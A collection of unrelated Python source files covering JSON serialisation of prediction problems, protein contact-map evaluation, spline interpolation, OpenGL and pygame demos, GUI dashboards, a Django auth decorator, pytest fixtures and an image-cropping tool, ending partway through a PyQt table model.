import json

from ..utils.table_meta import TableMeta
from .prediction_problem import PredictionProblem

__all__ = ["prediction_problems_to_json_file",
           "prediction_problems_from_json_file"]

def prediction_problems_to_json_file(prediction_problems, table_meta,
                                     entity_id_column, label_generating_column, time_column, filename):
    """
    Convert a list of prediction problems to a JSON file

    Parameters
    ----------
    prediction_problems: a list of Prediction Problems.
    table_meta: TableMeta object. Contains
        meta information about the data
    entity_id_column: column name of
        the column containing entities in the data
    label_generating_column: column name of the
        column of interest in the data
    time_column: column name of the column
        containing time information in the data
    filename: name of the file to write to. must end in .json

    Returns
    ----------
    None
    """

    prediction_problems_json = [prob.to_json() for prob in prediction_problems]

    json_str = json.dumps({
        "prediction_problems": [json.loads(prob_json) for prob_json in prediction_problems_json],
        "table_meta": json.loads(table_meta.to_json()),
        "entity_id_column": entity_id_column,
        "label_generating_column": label_generating_column,
        "time_column": time_column
    })

    with open(filename, "w") as f:
        json.dump(json.loads(json_str), f, indent=4, separators=(',', ': '))

def prediction_problems_from_json_file(filename):
    """
    Read Prediction Problems from a JSON structured file

    Parameters
    ----------
    filename: filename to read problems from.

    Returns
    ----------
    prediction_problems: a list of Prediction Problems.
    table_meta: TableMeta object. Contains
        meta information about the data
    entity_id_column: column name of
        the column containing entities in the data
    label_generating_column: column name of the
        column of interest in the data
    time_column: column name of the column
        containing time information in the data
    """
    with open(filename) as f:
        json_data = f.read()

    data = json.loads(json_data)
    prediction_problems = data['prediction_problems']
    prediction_problems = [PredictionProblem.from_json(
        json.dumps(prob)) for prob in prediction_problems]
    table_meta = TableMeta.from_json(json.dumps(data['table_meta']))
    entity_id_column = data['entity_id_column']
    label_generating_column = data['label_generating_column']
    time_column = data['time_column']
    return prediction_problems, table_meta, entity_id_column, label_generating_column, time_column


import copy
import math
import os

import numpy as np

from utils.evalutaion.relaxed_cmaps import make_relax
# # NOTE
## This basically takes 2 contact maps as input and uses them to find the recall
## converts the real one into relax map of 0,1,2
### *For Relax 0,1 and 2 only the true contact map was taken into consideration not the relaxed maps to identify the false negative

####### Recall = true_positive /(true_positve +false negative)
#####  E.g For calculating recall of top-5 for a protein of 10 true contacts, if we predict 3 contacts successfully, then
#### True positive  = 3
#### False negative = 10-3 = 7 , as 7 true contacts were not predicted correctly
#### Recall = 3/ (3 +7 ) =0.3
def file_reader(_input):
    content_arry = []
    f = open(_input, "r")
    if f.mode == 'r':
        content_arry = f.read().splitlines()
        f.close()
    return content_arry

def fix_pred_map(_inputs, _len_a, _len_b):
    total = _len_a + _len_b
    output_rr = copy.deepcopy(_inputs)
    for j_counter in range(0, _len_a):
        for i_counter in range(0, _len_a):
            output_rr[j_counter][i_counter] = 0
            output_rr[i_counter][j_counter] = 0

    for j_counter in range(_len_a, total):
        for i_counter in range(_len_a, total):
            output_rr[j_counter][i_counter] = 0
            output_rr[i_counter][j_counter] = 0

    for j_counter in range(_len_a, total):
        for i_counter in range(0, _len_a):
            output_rr[j_counter][i_counter] = (output_rr[i_counter][j_counter] + output_rr[j_counter][i_counter]) / 2.0
            output_rr[i_counter][j_counter] = 0
    return output_rr

def getY(true_file):
    # calcualte the length of the protein (the first feature)
    input_array = []
    file = open(true_file, "r")
    if file.mode == 'r':
        input_array = file.read().splitlines()
        file.close()
    inter_array = []

    for values in input_array:
        inter_array.append(values.strip().split(' '))
    # since its a sequare matrix coz I made it that way
    L = len(inter_array)
    relax_0_array = np.asfarray(inter_array, float)
    # print(inter_array)

    return relax_0_array

def loadFastaDictionary(dict_file):
    fasta_dict = {}
    with open(dict_file, "r") as f:
        for line in f:
            fasta_dict[line.strip().split(":")[0].strip()] = line.strip().split(":")[1].strip()
    return fasta_dict

def calculateEvaluationStats(_pred_cmap, _true_cmap, L,_number_contacts):
    pred_cmap=copy.deepcopy(_pred_cmap)
    true_cmap=copy.deepcopy(_true_cmap)
    prec_T5, prec_T10, prec_T20, prec_T30, prec_T50, prec_L30, prec_L20, prec_L10, prec_L5, prec_L, prec_2L, con_num = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    max_Top = int((2*L ) + 0.5)
    if 50 > max_Top: max_Top = 50

    for i in range(1, max_Top + 1):
        (x, y) = np.unravel_index(np.argmax(pred_cmap, axis=None), pred_cmap.shape)
        pred_cmap[x][y] = 0
        if true_cmap[x][y] == 1:
            con_num += 1

        if i == 5:
            prec_T5 = con_num/_number_contacts
            if prec_T5  > 1.0:
                prec_T5 = 1.0
            print("L=", L, "Val=", 5, "Con_num=", con_num)
        if i == 10:
            prec_T10 = con_num/_number_contacts
            if prec_T10  > 1.0: prec_T10 = 1.0
            print("L=", L, "Val=", 10, "Con_num=", con_num)
        if i == 20:
            prec_T20 = con_num/_number_contacts
            if prec_T20  > 1.0: prec_T20 = 1.0
            print("L=", L, "Val=", 20, "Con_num=", con_num)
        if i == 30:
            prec_T30 = con_num/_number_contacts
            if prec_T30  > 1.0: prec_T30 = 1.0
            print("L=", L, "Val=", 30, "Con_num=", con_num)
        if i == 50:
            prec_T50 = con_num/_number_contacts
            if prec_T50  > 1.0: prec_T50 = 1.0
            print("L=", L, "Val=", 50, "Con_num=", con_num)
        if i == int((L / 30) + 0.5):
            prec_L30 = con_num/_number_contacts
            if prec_L30  > 1.0: prec_L30 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L / 20) + 0.5):
            prec_L20 = con_num/_number_contacts
            if prec_L20  > 1.0: prec_L20 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L / 10) + 0.5):
            prec_L10 = con_num/_number_contacts
            if prec_L10  > 1.0: prec_L10 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L / 5) + 0.5):
            prec_L5 = con_num/_number_contacts
            if prec_L5  > 1.0: prec_L5 = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((L) + 0.5):
            prec_L = con_num/_number_contacts
            if prec_L  > 1.0: prec_L = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)
        if i == int((2 * L) + 0.5):
            prec_2L = con_num/_number_contacts
            if prec_2L  > 1.0: prec_2L = 1.0
            print("L=", L, "Val=", i, "Con_num=", con_num)

    # return [prec_T5/_number_contacts, prec_T10/_number_contacts, prec_T20/_number_contacts, prec_T30/_number_contacts, prec_T50/_number_contacts, prec_L30/_number_contacts, prec_L20/_number_contacts, prec_L10/_number_contacts, prec_L5/_number_contacts, prec_L/_number_contacts, prec_2L/_number_contacts]
    return [prec_T5, prec_T10, prec_T20, prec_T30, prec_T50, prec_L30, prec_L20, prec_L10, prec_L5, prec_L, prec_2L]

def get_evaluation_result(_arr,_relax,_SAMPLE_SIZE):
    sum_prec_T5, sum_prec_T10, sum_prec_T20, sum_prec_T30, sum_prec_T50, sum_prec_L30, sum_prec_L20, sum_prec_L10, sum_prec_L5, sum_prec_L, sum_prec_2L = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    SAMPLE_SIZE = len(test_file_name)
    for values in _arr:
        sum_prec_T5 = sum_prec_T5 + values[0]
        sum_prec_T10 = sum_prec_T10 + values[1]
        sum_prec_T20 = sum_prec_T20 + values[2]
        sum_prec_T30 = sum_prec_T30 + values[3]
        sum_prec_T50 = sum_prec_T50 + values[4]
        sum_prec_L30 = sum_prec_L30 + values[5]
        sum_prec_L20 = sum_prec_L20 + values[6]
        sum_prec_L10 = sum_prec_L10 + values[7]
        sum_prec_L5 = sum_prec_L5 + values[8]
        sum_prec_L = sum_prec_L + values[9]
        sum_prec_2L = sum_prec_2L + values[10]
    print(    str(_relax) + '\t\t\t' + str(sum_prec_T5 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_T10 / _SAMPLE_SIZE)[
                                                                               0:5] + '\t\t\t' + str(
            sum_prec_T20 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_T30 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_T50 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_L30 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_L20 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_L10 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_L5 / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(sum_prec_L / _SAMPLE_SIZE)[0:5] + '\t\t\t' + str(
            sum_prec_2L / _SAMPLE_SIZE)[0:5] )

relax_0 = []
relax_1 = []
relax_2 = []
fasta_dict = loadFastaDictionary('/home/rajroy/Downloads/experiment_batch/fasta_dictionary.txt')
# test_file = '/home/rajroy/het_30_dncon2_model_tr_roseeta_v3_new/training_list_het_121220/test_list.txt'
# test_file = '/home/rajroy/400_run/test_list.txt'
# recall just extract how many
# cmap_dir = "/home/rajroy/hq_200/"
# cmap_dir = "/home/rajroy/400_new_het_24/"
# cmap_dir = "/home/rajroy/cmap_predict_200_farhan/"

test_file = '/home/rajroy/het_30_dncon2_model_tr_roseeta_v3_new_2/training_list_het_400/test_list.txt'
# test_file = '/home/rajroy/het_30_dncon2_model_tr_roseeta_v3_new/training_list_het_400/validation_list.txt'
# cmap_dir = "/home/rajroy/cmap_predict_400_hetero/"
# cmap_dir = "/home/rajroy/400_new_het_24/"
# cmap_dir = "/home/rajroy/predict_cmap_200_hetero_test/"
cmap_dir = "/home/rajroy/400_zdock_out/cmaps/"
test_file_name = file_reader(test_file)
val_array = []
all_threshold_values = []
# for n in range(5,100,5):
# THRESHOLD = n/100
SAMPLE_SIZE=0
for file in test_file_name:
    name_1 = file.split('_')
    predict_cmap = cmap_dir + name_1[0]+'_'+name_1[1] + '.txt'

    # predict_cmap = cmap_dir + name_arrr_1[0]+'_'+name_arrr_1[1] + '.txt'
    if os.path.isfile(predict_cmap):
        SAMPLE_SIZE=SAMPLE_SIZE+1

        # /home/rajroy/predict_cmap_200_hetero/1H3OB_1H3OC_3305_.rr.npy.txt'

        # /home/rajroy/predict_cmap_200_hetero/Y-1H3OB_1H3OC_3305.txt.npy.txt'

        # processed cmap
        name = os.path.basename(predict_cmap).replace('.txt','')
        if '__' in name:
            name=name.replace('__','_')

        name_arrr = name.split('_')
        if '__' in  os.path.basename(predict_cmap):
            len_b = len(fasta_dict.get(name_arrr[0]))
            len_a = len(fasta_dict.get(name_arrr[1]))
        else:
            len_a = len(fasta_dict.get(name_arrr[0]))
            len_b = len(fasta_dict.get(name_arrr[1]))
        total = len_a + len_b

        #removing symmetry
        # real_cmap = cmap_dir + 'Y-' + file + '.txt.npy.txt'
        real_cmap = cmap_dir + 'Y-' + file + '.txt.npy.txt'
        real_arr = fix_pred_map( getY(real_cmap), len_a, len_b)

        #getting number of contacts
        pred_eval = np.where(real_arr == 1.0)
        number_contacts = len(pred_eval[0])

        random_cmap = np.random.random((total, total))
        pred_arr = getY(predict_cmap)
        new_pred_map = fix_pred_map(pred_arr, len_a, len_b)

        relax_0.append(calculateEvaluationStats(new_pred_map, real_arr, total,number_contacts))

        real_arr_1 = make_relax(real_arr, 1)
        relax_1.append(calculateEvaluationStats(new_pred_map, real_arr_1, total,number_contacts))

        real_arr_2 = make_relax(real_arr, 2)
        relax_2.append(calculateEvaluationStats(new_pred_map, real_arr_2, total,number_contacts))

print(
    'RELAX ' + '\t\t\t' + 'TOP-5' + '\t\t\t' + 'TOP-10' + '\t\t\t' + 'TOP-20' + '\t\t\t' + 'TOP-30' + '\t\t\t' + 'TOP-50' + '\t\t\t' + 'L/30' + '\t\t\t' + 'L/20' + '\t\t\t' + 'L/10' +
    '\t\t\t' + 'L/5' + '\t\t\t' + 'L/' + '\t\t\t' + '2L/')

get_evaluation_result(relax_0,0,len(test_file_name))
get_evaluation_result(relax_1,1,len(test_file_name))
get_evaluation_result(relax_2,2,len(test_file_name))
print(SAMPLE_SIZE)


# -*- coding: utf-8 -*-
"""
@author: ykohno
"""
import torch

def get_coeff(Xx, num):
    Xlen = len(Xx)
    jj = torch.floor(Xx).int() #/ 小数点以下切捨て
    jj = torch.max(jj, torch.zeros_like(jj))
    jj = torch.min(jj, torch.zeros_like(jj)+num-1)
    dt = Xx - jj.float()

    spmat = torch.zeros([Xlen,num])
    for i in range(Xlen):
        spmat[i,jj[i]]=1

    return spmat, dt

def interpolate_linear_7(P_val, spmat, dt):

    Xlen = len(P_val)
    num = 6

    a = P_val
    b = torch.zeros(Xlen)

    for i in range(num):
        b[i] = a[i+1]-a[i]

    abcd = torch.cat([a.view(-1,1),b.view(-1,1)],dim=1)[:num]
    coef = torch.matmul(spmat,abcd)
    #a+b*x
    X_val = coef[:,0] + coef[:,1]*dt
    return X_val

# http://www5d.biglobe.ne.jp/stssk/maze/spline.html
def interpolate_spline_7(P_val, spmat, dt):

    Xlen = len(P_val)
    num = 6

    # ３次多項式の0次係数(a)を設定
    a = P_val
    b = torch.zeros(Xlen)
    c = torch.zeros(Xlen)
    d = torch.zeros(Xlen)
    w = torch.zeros(Xlen)

    # ３次多項式の2次係数(c)を計算
    # 連立方程式を解く。
    # 但し、一般解法でなくスプライン計算にチューニングした方法
    c[0] = 0.0
    for i in range(1, num):
        c[i] = 3.0 * (a[i-1] - 2.0 * a[i] + a[i+1])

    # 左下を消す
    for i in range(1, num):
        tmp = 4.0 - w[i-1]
        c[i] = (c[i] - c[i-1])/tmp
        w[i] = 1.0 / tmp

    # 左下を消す
    for i in reversed(range(0,num-1)):
        c[i] = c[i] - c[i+1] * w[i]

    # ３次多項式の1次係数(b)と3次係数(b)を計算
    for i in range(num):
        d[i] = ( c[i+1] - c[i]) / 3.0
        b[i] = a[i+1] - a[i] - c[i] - d[i]

    abcd = torch.cat([a.view(-1,1),b.view(-1,1),c.view(-1,1),d.view(-1,1)],dim=1)[:num]
    coef = torch.matmul(spmat,abcd)
    X_val = coef[:,0] + (coef[:,1] + (coef[:,2] + coef[:,3] *dt) *dt) *dt
    return X_val


import glfw
from OpenGL.GL import *
from OpenGL.GLU import *
import numpy as np

gCamAng = 0.
gCamHeight = .1

def render():
    # enable depth test (we'll see details later)
    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)
    glEnable(GL_DEPTH_TEST)
    glPolygonMode(GL_FRONT_AND_BACK, GL_LINE)
    glLoadIdentity()

    # use orthogonal projection (we'll see details later)
    #glOrtho(-5,5, -5,5, -8,8)
    myOrtho(-5, 5, -5, 5, -8, 8)

    #gluLookAt(5,3,5, 1, 1, -1, 0, 1, 0)
    myLookAt(np.array([5,3,5]), np.array([1, 1, -1]), np.array([0,1,0]))

    drawFrame()

    glColor3ub(255, 255, 255)
    drawCubeArray()

def myOrtho(left, right, bottom, top, near, far):
    R = np.identity(4)
    R = np.array([[2/(right-left), 0, 0, -((right+left)/(right-left))],
                [0, 2/(top-bottom), 0, -((top+bottom)/(top-bottom))],
                [0, 0, -2/(far-near), -((far + near)/(far-near))],
                [0,0,0,1]])

    glMultMatrixf(R.T)

def myLookAt(eye, at, up):

    w = (eye-at)/np.sqrt(np.dot(eye-at, eye-at))
    u = np.cross(up, w)/np.sqrt(np.dot(np.cross(up, w), np.cross(up, w)))
    v = np.cross(w, u)

    M = np.identity(4)
    M[0, :3] = u
    M[1, :3] = v
    M[2, :3] = w
    M[0, 3] = -(u@eye)
    M[1, 3] = -(v@eye)
    M[2, 3] = -(w@eye)
    M[3, 3] = 1

    glMultMatrixf(M.T)
def drawFrame():
    glBegin(GL_LINES)
    glColor3ub(255, 0, 0)
    glVertex3fv(np.array([0.,0.,0.]))
    glVertex3fv(np.array([1.,0.,0.]))
    glColor3ub(0, 255, 0)
    glVertex3fv(np.array([0.,0.,0.]))
    glVertex3fv(np.array([0.,1.,0.]))
    glColor3ub(0, 0, 255)
    glVertex3fv(np.array([0.,0.,0]))
    glVertex3fv(np.array([0.,0.,1.]))
    glEnd()

def drawUnitCube():
    glBegin(GL_QUADS)
    glVertex3f( 0.5, 0.5,-0.5)
    glVertex3f(-0.5, 0.5,-0.5)
    glVertex3f(-0.5, 0.5, 0.5)
    glVertex3f( 0.5, 0.5, 0.5)

    glVertex3f( 0.5,-0.5, 0.5)
    glVertex3f(-0.5,-0.5, 0.5)
    glVertex3f(-0.5,-0.5,-0.5)
    glVertex3f( 0.5,-0.5,-0.5)

    glVertex3f( 0.5, 0.5, 0.5)
    glVertex3f(-0.5, 0.5, 0.5)
    glVertex3f(-0.5,-0.5, 0.5)
    glVertex3f( 0.5,-0.5, 0.5)

    glVertex3f( 0.5,-0.5,-0.5)
    glVertex3f(-0.5,-0.5,-0.5)
    glVertex3f(-0.5, 0.5,-0.5)
    glVertex3f( 0.5, 0.5,-0.5)

    glVertex3f(-0.5, 0.5, 0.5)
    glVertex3f(-0.5, 0.5,-0.5)
    glVertex3f(-0.5,-0.5,-0.5)
    glVertex3f(-0.5,-0.5, 0.5)

    glVertex3f( 0.5, 0.5,-0.5)
    glVertex3f( 0.5, 0.5, 0.5)
    glVertex3f( 0.5,-0.5, 0.5)
    glVertex3f( 0.5,-0.5,-0.5)
    glEnd()

def drawCubeArray():
    for i in range(5):
        for j in range(5):
            for k in range(5):
                glPushMatrix()
                glTranslatef(i,j,-k-1)
                glScalef(.5,.5,.5)
                drawUnitCube()
                glPopMatrix()

def key_callback(window, key, scancode, action, mods):
    global gCamAng, gCamHeight
    if action==glfw.PRESS or action==glfw.REPEAT:
        if key==glfw.KEY_1:
            gCamAng += np.radians(-10)
        elif key==glfw.KEY_3:
            gCamAng += np.radians(10)
        elif key==glfw.KEY_2:
            gCamHeight += .1
        elif key==glfw.KEY_W:
            gCamHeight += -.1

def main():
    if not glfw.init():
        return
    window = glfw.create_window(480,480,'학번-6-1', None,None)
    if not window:
        glfw.terminate()
        return
    glfw.make_context_current(window)
    glfw.set_key_callback(window, key_callback)

    while not glfw.window_should_close(window):
        glfw.poll_events()
        render()
        glfw.swap_buffers(window)

    glfw.terminate()

if __name__ == "__main__":
    main()


# Filename ShowDot.py

import pygame

pygame.init()
screen = pygame.display.set_mode([800, 600])

keep_going = True
GREEN = (225, 225, 225) # Три цвета RGB для зеленого (GREEN) цвета

radius = 50

while keep_going:
	for event in pygame.event.get():
		if event.type == pygame.QUIT:
			keep_going = False
	pygame.draw.circle(screen, GREEN, (500,100), radius)
	pygame.display.update()

pygame.quit()


import tkinter.messagebox
import customtkinter
import pandas as pd
import os

path =  os.path.join(os.path.dirname(__file__), '../../data/data.csv')

def load_dashboard_page(app, ctk_frame):
    ctk_frame.grid_rowconfigure(0, minsize=10)
    ctk_frame.grid_rowconfigure(1, weight=1)
    ctk_frame.grid_columnconfigure(0, weight=1)

    app.ctkl_page_title = customtkinter.CTkLabel(master=ctk_frame,
                                                 text="Dashboard",
                                                 text_font=("Bebas Neue", 2*app.CONTEXT))
    app.ctkl_page_title.grid(
        row=0, column=0, pady=app.CONTEXT, padx=app.CONTEXT)

    app.ctkf_form_content = customtkinter.CTkFrame(master=ctk_frame)
    app.ctkf_form_content.grid(row=1, column=0, sticky="nswe",
                               padx=app.CONTEXT, pady=app.CONTEXT)

    app.ctkl_id = customtkinter.CTkLabel(master=app.ctkf_form_content,
                                                text="Id",
                                                text_font=("Roboto Medium", -12))
    app.ctkl_id.grid(row=1, column=0,  sticky="w", pady=10, padx=0)

    app.ctkl_identity = customtkinter.CTkLabel(master=app.ctkf_form_content,
                                                text="Type",
                                                text_font=("Roboto Medium", -12))
    app.ctkl_identity.grid(row=1, column=1,  sticky="w", pady=10, padx=0)

    app.ctkl_description = customtkinter.CTkLabel(master=app.ctkf_form_content,
                                                text="Descricao",
                                                text_font=("Roboto Medium", -12))
    app.ctkl_description.grid(row=1, column=2,  sticky="w", pady=10, padx=0)

    app.ctkl_rootcause = customtkinter.CTkLabel(master=app.ctkf_form_content,
                                                text="Causa Raiz",
                                                text_font=("Roboto Medium", -12))
    app.ctkl_rootcause.grid(row=1, column=3,  sticky="w", pady=10, padx=0)

    app.ctkl_solution = customtkinter.CTkLabel(master=app.ctkf_form_content,
                                                text="Solucao",
                                                text_font=("Roboto Medium", -12))
    app.ctkl_solution.grid(row=1, column=4,  sticky="w", pady=10, padx=0)
    app.ctkl_critical = customtkinter.CTkLabel(master=app.ctkf_form_content,
                                                text="Critico ?",
                                                text_font=("Roboto Medium", -12))
    app.ctkl_critical.grid(row=1, column=5,  sticky="w", pady=10, padx=0)

    df = pd.read_csv(path)
    for i, row in df.iterrows():
        pos = 0;
        for j, value in row.items():
            app.e = customtkinter.CTkLabel(master=app.ctkf_form_content,
                                                text=value,
                                                text_font=("Roboto Medium", -11))
            app.e.grid(row=(i+2), column=pos,  sticky="nsew", pady=10, padx=0)
            pos += 1

    return ctk_frame


"""@package utils.decorators
@author: Zosia Sobocinska
@date Dec 7, 2013
"""
from django.shortcuts import redirect
from timelease.settings import LOGIN_URL

class authenticate:
    __name__ = None
    __module = None
    f = None
    user = None

    def __init__(self, f):
        self.f = f
        self.__name__ = f.__name__
        self.__module__ = f.__module__

    def __call__(self, request, *args, **kwargs):
        user = request.user
        if not (user and user.is_authenticated()):
            return redirect('%s/?next=%s' % (LOGIN_URL, request.path))
        else:
            return self.f(user, request, *args, **kwargs)

class not_implemented:
    f = None
    user = None

    def __init__(self, f):
        self.f = f

    def __call__(self, request, *args, **kwargs):
        raise Exception("Function %s.%s not implemented." % (self.f.__module__, self.f.__name__))


from typing import Dict, Generator
from uuid import uuid4

import pytest
from sqlalchemy.orm import Session

from fides.api.ctl.sql_models import Organization
from fides.api.ops.models.connectionconfig import (
    AccessLevel,
    ConnectionConfig,
    ConnectionType,
)
from fides.api.ops.service.connectors import SovrnConnector
from fides.api.ops.service.connectors.email.attentive_connector import (
    AttentiveConnector,
)

@pytest.fixture(scope="function")
def sovrn_email_connection_config(db: Session) -> Generator:
    name = str(uuid4())
    connection_config = ConnectionConfig.create(
        db=db,
        data={
            "name": name,
            "key": "my_email_connection_config",
            "connection_type": ConnectionType.sovrn,
            "access": AccessLevel.write,
            "secrets": {
                "test_email_address": "processor_address@example.com",
                "recipient_email_address": "sovrn@example.com",
                "advanced_settings": {
                    "identity_types": {
                        "email": False,
                        "phone_number": False,
                        "cookie_ids": ["ljt_readerID"],
                    }
                },
                "third_party_vendor_name": "Sovrn",
            },
        },
    )
    yield connection_config
    connection_config.delete(db)

@pytest.fixture(scope="function")
def attentive_email_connection_config(db: Session) -> Generator:
    connection_config = ConnectionConfig.create(
        db=db,
        data={
            "name": "Attentive",
            "key": "my_email_connection_config",
            "connection_type": ConnectionType.attentive,
            "access": AccessLevel.write,
            "secrets": {
                "test_email_address": "processor_address@example.com",
                "recipient_email_address": "attentive@example.com",
                "advanced_settings": {
                    "identity_types": {"email": True, "phone_number": False}
                },
                "third_party_vendor_name": "Attentive",
            },
        },
    )
    yield connection_config
    connection_config.delete(db)

@pytest.fixture(scope="function")
def test_sovrn_consent_email_connector(
    sovrn_email_connection_config: Dict[str, str],
) -> SovrnConnector:
    return SovrnConnector(configuration=sovrn_email_connection_config)

@pytest.fixture(scope="function")
def test_attentive_erasure_email_connector(
    attentive_email_connection_config: Dict[str, str]
) -> AttentiveConnector:
    return AttentiveConnector(configuration=attentive_email_connection_config)

@pytest.fixture(scope="function")
def test_fides_org(db: Session) -> Generator:
    test_org = Organization(name="Test Org", fides_key="test_organization")
    db.add(test_org)
    db.commit()
    db.flush()
    yield test_org
    db.delete(test_org)


import cv2
import numpy as np
import os

dir = input("destination folder: ")
save_folder = input("save_path: ")

height= int(input("height: "))
width = int(input("width: "))

count = 0

for img in sorted(os.listdir(dir)):
    if img.endswith(".jpg") or img.endswith(".png") or img.endswith(".jpeg"):
        image = cv2.imread(os.path.join(dir,img))

        roi = cv2.selectROI(image)

        crop_img = image[int(roi[1]):int(roi[1]+roi[3]), int(roi[0]):int(roi[0]+roi[2])]

        resized_img = cv2.resize(crop_img, (height, width))
        cv2.imwrite(os.path.join(save_folder, str(count)+".jpg"), resized_img)
        count+=1


from PyQt5.QtCore import QAbstractTableModel, Qt
from PyQt5 import QtGui
from PyQt5.QtWidgets import QMessageBox
import datetime as dt
import pandas as pd

NONE_REPRESENTATION_IN_TABLE_VIEW = ''  # Representation of None values in table views in the GUI

class ResultsObservationModel(QAbstractTableModel):
    """Model for displaying the observations-related results."""

    # Number of decimal pla
    _DECIMAL_PLACES_PER_FLOAT_COLUMN = {
        'g_diff_mugal': 1,
        'sd_g_diff_mugal': 1,
        'sd_g_diff_est_mugal': 1,
        'v_diff_mugal': 1,
        'sd_g_mugal': 1,
        'g_mugal': 1,
        'abw_mugal': 1,
        'delta_t_h': 3,
        'corr_drift_mugal': 1,
        'w_diff_mugal': 3,
        'r_diff_obs': 3,
        'ref_epoch_dt': 3,
        'w_obs_est_mugal': 3,  # LSM_non_diff
        'r_obs_est': 3,  # LSM_non_diff
        'v_obs_est_mugal': 1,  # LSM_non_diff
        'sd_g_obs_est_mugal': 1,  # LSM_non_diff
        'g_obs_mugal': 1,  # LSM_non_diff
        'sd_g_obs_mugal': 1,  # LSM_non_diff
    }

    # Columns that will be shown in the table view, if available in the data (Also defines the order of columns):
    # - This is also e pre-selection for data columns that can be plotted in the observation plots in the results tab
    # - keys: Actual names of the dataframe columns
    # - items: Header names for the Table View Widget
    _SHOW_COLUMNS_IN_TABLE_DICT = {
        'survey_name': 'Survey',  # LSM_non_diff, LSM_diff
        'station_name_from': 'Station from',  # LSM_diff
        'station_name_to': 'Station to',  # LSM_diff
        'station_name': 'Station',  # MLR, LSM_non_diff
        'ref_epoch_dt': 'Epoch UTC',  # LSM_non_diff, LSM_diff
        'delta_t_h': 'd_t [h]',  # LSM_non_diff, LSM_diff
        'g_mugal': 'g [µGal]',  # MLR
        'g_diff_mugal': 'g [µGal]',  # LSM_diff
        'g_obs_mugal': 'g [µGal]',  # LSM_non_diff
        'sd_g_mugal': 'SD [µGal]',  # MLR
        'sd_g_diff_mugal': 'SD [µGal]',  # LSM_diff
        'sd_g_obs_mugal': 'SD [µGal]',  # LSM_non_diff
        'sd_g_diff_est_mugal': 'SD_est [µGal]',  # LSM_diff
        'sd_g_obs_est_mugal': 'SD_est [µGal]',  # LSM_non_diff
        'v_diff_mugal': 'v [µGal]',  # LSM_diff
        'v_obs_est_mugal': 'v [µGal]',  # LSM_non_diff
        'w_diff_mugal': 'w [µGal]',  # LSM_diff
        'w_obs_est_mugal': 'w [µGal]',  # LSM_non_diff
        'r_diff_obs': 'r [µGal]',  # LSM_diff
        'r_obs_est': 'r [µGal]',  # LSM_non_diff
        'tau_test_result': 'Outlier test',  # LSM_non_diff, LSM_diff
        'corr_drift_mugal': 'Drift corr. [µGal]',  # MLR: Estimated drift correction
        'abw_mugal': 'abw [µGal]',  # MLR: Difference between drift-corrected instrument reading and the estimated station gravity
    }
    _SHOW_COLUMNS_IN_TABLE = list(_SHOW_COLUMNS_IN_TABLE_DICT.keys())  # Actual list of columns to be shown

    # List of columns that are shown in the simple mode of the GUI
    _SHOW_COLUMNS_IN_TABLE_SIMPLE_GUI = [
        'survey_name',
        'station_name_from',
        'station_name_to',
        'station_name',
        'ref_epoch_dt',
        'delta_t_h',
        'g_mugal',
        'g_diff_mugal',
        'g_obs_mugal',
        'sd_g_mugal',
        'sd_g_diff_mugal',
        'sd_g_obs_mugal',
        'sd_g_diff_est_mugal',
        'sd_g_obs_est_mugal',
        'v_diff_mugal',
        'v_obs_est_mugal',
        'tau_test_result',
    ]

    # Columns that can be plotted. Column names (keys) and description (values):
    # - numerical data only!
    _PLOTABLE_DATA_COLUMNS = {
        # LSM_diff:
        'v_diff_mugal': 'Post-fit residuals [µGal]',  # LSM_diff
        'sd_g_diff_est_mugal': 'A posteriori SD of diff. obs. [µGal]',  # LSM_diff
        'g_diff_mugal': 'Differential observation [µGal]',  # LSM_diff
        'sd_g_diff_mugal': 'SD of differential observation [µGal]',  # LSM_diff
        # MLR:
        'g_mugal': 'Instrument reading [µGal]',  # MLR
        'sd_g_mugal': 'Standard deviation of the instrument reading [µGal]',  # MLR
        'corr_drift_mugal': 'Estimated drift correction [µGal]',  # MLR
        'abw_mugal': 'Drift-corrected reading minus estimated station gravity (not absolute) [µGal]',  # MLR
        'r_diff_obs': 'Redundancy components []',  # LSM_diff
        'w_diff_mugal': 'Standardized post-fit residuals []',  # LSM_diff
        # LSM_non_diff:
        'w_obs_est_mugal': 'Standardized post-fit residuals []',  # LSM_non_diff
        'r_obs_est': 'Redundancy components []',  # LSM_non_diff
        'v_obs_est_mugal': 'Post-fit residuals [µGal]',  # LSM_non_diff
        'sd_g_obs_est_mugal': 'A posteriori SD of observation [µGal]',  # LSM_non_diff
        'g_obs_mugal': 'Non-differential observation [µGal]',  # LSM_non_diff
        'sd_g_obs_mugal': 'SD of non-differential observation [µGal]',  # LSM_non_diff
    }

    def __init__(self, lsm_runs):
        """Initialize the observation-results table view model.

        Parameters
        ----------
        lsm_runs : list of py.obj:`gravtools.lsm.LSM` objects
        """
        QAbstractTableModel.__init__(self)
        self._lsm_runs = []
        self._data = None  # Observations (or at subset of them) of the survey with the name `self._data_survey_name`
        self.load_lsm_runs(lsm_runs)
        self._lsm_run_index = None  # Name of the Survey that is currently represented by `self._data`
        self._data_column_names = None
        self.flag_gui_simple_mode = False

    def load_lsm_runs(self, lsm_runs: list):
        """Load adjustment results.

        Notes
        -----
        The data is assigned by reference, i.e. all changes in `_surveys` will propagate to the data origin.
        """
        self._lsm_runs = lsm_runs

    def update_view_model(self, lsm_run_index: int, station_name=None, survey_name=None, gui_simple_mode=False):
        """Update the `_data` DataFrame that hold the actual data that is displayed."""
        self.flag_gui_simple_mode = gui_simple_mode
        flag_error_init = False
        if lsm_run_index == -1:  # No data available => Invalid index => Reset model data
            flag_error_init = True
